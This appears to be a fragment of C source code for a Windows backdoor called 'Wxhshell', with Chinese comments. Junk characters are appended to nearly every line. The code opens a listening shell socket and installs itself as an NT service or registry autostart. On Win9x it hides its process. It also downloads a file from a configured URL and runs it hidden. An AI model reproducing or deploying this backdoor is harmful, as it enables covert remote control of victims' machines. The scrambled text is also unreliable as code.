DWORD AffinityMask; WhW}ZS'r
DWORD BasePriority; NwF"Zh5eMW
ULONG UniqueProcessId; 2G~{x7/[@
ULONG InheritedFromUniqueProcessId; @l CG)Ix<
} PROCESS_BASIC_INFORMATION; W+i^tmj
YcA. Bn|as
PROCNTQSIP NtQueryInformationProcess; h q7f"`
qO"QSSbZqQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A1p~K*[[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $L^%*DkM
>.qFhO\1so
HANDLE hProcess; H7'42J@
PROCESS_BASIC_INFORMATION pbi; >\1twd{u]
7
{92_xRL
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?r !kKMZ
if(NULL == hInst ) return 0; >2s6Y
vNw(hT5750
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lWc[Q1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gg`{kN^r.a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :\~>7VFg
~3bV~H#~m
if (!NtQueryInformationProcess) return 0; %$ya>0?mq
?c?@j}=?yY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); US)i"l7:H*
if(!hProcess) return 0; (n k g
+1wEoU.l2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ""7H;I&
"#E
Z
CloseHandle(hProcess); y7pBcyWTE=
FC+-|1?C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V30w`\1A
if(hProcess==NULL) return 0; _zDS-e@
1#N`elm
HMODULE hMod; p^Ey6,!8]D
char procName[255]; 3YLK?X8
unsigned long cbNeeded; 6H0kY/quL|
e r_6PV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ei:m@}g
X}'rPz\Lu
CloseHandle(hProcess); lai@,_<GV
?xwi2<zz
if(strstr(procName,"services")) return 1; // 以服务启动 dXDyY
OD}Uc+;K
return 0; // 注册表启动 JPTLh{/
} jkl dr@t
C)m@/w
// 主模块 #*:1C h]B
int StartWxhshell(LPSTR lpCmdLine) 7J3A]>qU
{ y3(~8n
SOCKET wsl; |34k;l]E
BOOL val=TRUE; r2f%E:-0G
int port=0; lFuW8G,-f@
struct sockaddr_in door; c@,1?q1bv
c
k[uvH
if(wscfg.ws_autoins) Install(); N#-%b"(
+9LzDH
port=atoi(lpCmdLine); <>KQ8:
d3a!s
if(port<=0) port=wscfg.ws_port; MA{ZmPm)
F+G+XtOS
WSADATA data; ,MHK|8!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !}|'1HIC
x%)oL:ue
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M%jR`qVFg.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }cUO+)!Y
door.sin_family = AF_INET; @ebY_*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); QX?moW6UW
door.sin_port = htons(port); \|vo@E
D|Tz{DRG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d?5oJ'JU
closesocket(wsl); E}zGY2Xx
return 1; b$Ei>%'/";
} I<W<;A
wtL=^
if(listen(wsl,2) == INVALID_SOCKET) { ?1|\(W#
closesocket(wsl); |pknaz
return 1; :V6t5I'_
} 1.,KN:qe
Wxhshell(wsl); kxrYA|x
WSACleanup(); d8Cd4qIXX
D1ik*mDA=
return 0; PXl%"O%d
6*1f -IbV
} VeEa17g&
x*j
eCD,
// 以NT服务方式启动 oG hMO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]#S<]v A
{ d=\TC'd"{
DWORD status = 0; Z>/
*q2
DWORD specificError = 0xfffffff; ^!O!HMX0
]2&RN@
serviceStatus.dwServiceType = SERVICE_WIN32; Nw,|4S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QXa2qxTc
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ifl
LY7j
serviceStatus.dwWin32ExitCode = 0; U0W2
serviceStatus.dwServiceSpecificExitCode = 0; O#!|2qN
serviceStatus.dwCheckPoint = 0; r|z B?9Q
serviceStatus.dwWaitHint = 0; S%?%06$
h`v T[u~l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %<|<%~l&
if (hServiceStatusHandle==0) return; [k%u$
8B "^}y\0
status = GetLastError(); 2/F8kVx{
if (status!=NO_ERROR) 3C;;z
{ D2Q0p(#%
serviceStatus.dwCurrentState = SERVICE_STOPPED; L6jwJwD
serviceStatus.dwCheckPoint = 0; A*|\E:fo
serviceStatus.dwWaitHint = 0; I4<_y5
serviceStatus.dwWin32ExitCode = status; ym` 4v5w
serviceStatus.dwServiceSpecificExitCode = specificError; 6B
b+f"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -) +B!"1
return; }QCn>LXE
} yr.sfPnJK
Fl(j,B6Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8h=K S
serviceStatus.dwCheckPoint = 0; Xe\v6gbD
serviceStatus.dwWaitHint = 0;
b`GKGqb J
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (BK_A{5
} bx-:aC)]2
ExFz@6@
// 处理NT服务事件,比如:启动、停止 SoFl]^l
VOID WINAPI NTServiceHandler(DWORD fdwControl) I,Jb_)H&t
{ pUu<0a^
switch(fdwControl) W]>%*n
{ YKOj
case SERVICE_CONTROL_STOP: L{XW2c$h
serviceStatus.dwWin32ExitCode = 0; ]T.+(\I
serviceStatus.dwCurrentState = SERVICE_STOPPED; .E7"Lfs-
serviceStatus.dwCheckPoint = 0; :+?rnb)N
serviceStatus.dwWaitHint = 0; \0e`sOS`L
{ d+
[2Sm(7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M[u6+`
} C/9]TkX}q
return; Bf[`o<c
case SERVICE_CONTROL_PAUSE: ZhC,nbM
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q/h-Khmz
break; Uaj_,qb(
case SERVICE_CONTROL_CONTINUE: o?IrDQ2gmh
serviceStatus.dwCurrentState = SERVICE_RUNNING; pWH,nn?w.
break; <qI!Dj{
case SERVICE_CONTROL_INTERROGATE: t4hc X[
break; v}IhO~`uEq
}; Qf'g2
\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 43O5|8o
} O{U j
Krl9O]H/[
// 标准应用程序主函数 3kwkU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Fy>N>,E(
{ bUYjmb2g)
DhsvN&yNM
// 获取操作系统版本 :V_UJ3xf
OsIsNt=GetOsVer(); !*?9n^PaF
GetModuleFileName(NULL,ExeFile,MAX_PATH); jmP;(j.|
dB:c2
// 从命令行安装 G68@(<<Z
if(strpbrk(lpCmdLine,"iI")) Install(); i1bmUKZ8'L
1i)3!fH0:
// 下载执行文件 !E)|[:$XT
if(wscfg.ws_downexe) { ' d?6 L
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &rl;+QS
WinExec(wscfg.ws_filenam,SW_HIDE); :l?mNm5
}
deTD|R
]M'~uTf
if(!OsIsNt) { ,g,Hb\_R)
// 如果时win9x,隐藏进程并且设置为注册表启动 K%Bz6 ~
HideProc(); o)R<sT
StartWxhshell(lpCmdLine); j9vK~_?;
} Mq'm
TM
else \wK4bvUrX
if(StartFromService()) pUW7p
// 以服务方式启动 M* {5> !\
StartServiceCtrlDispatcher(DispatchTable); wkV'']= Xg
else t`>Z#=cl\
// 普通方式启动 @~UQU)-(
StartWxhshell(lpCmdLine); _-9cGm v
t*u#4I1
return 0; ?ks.M'@
}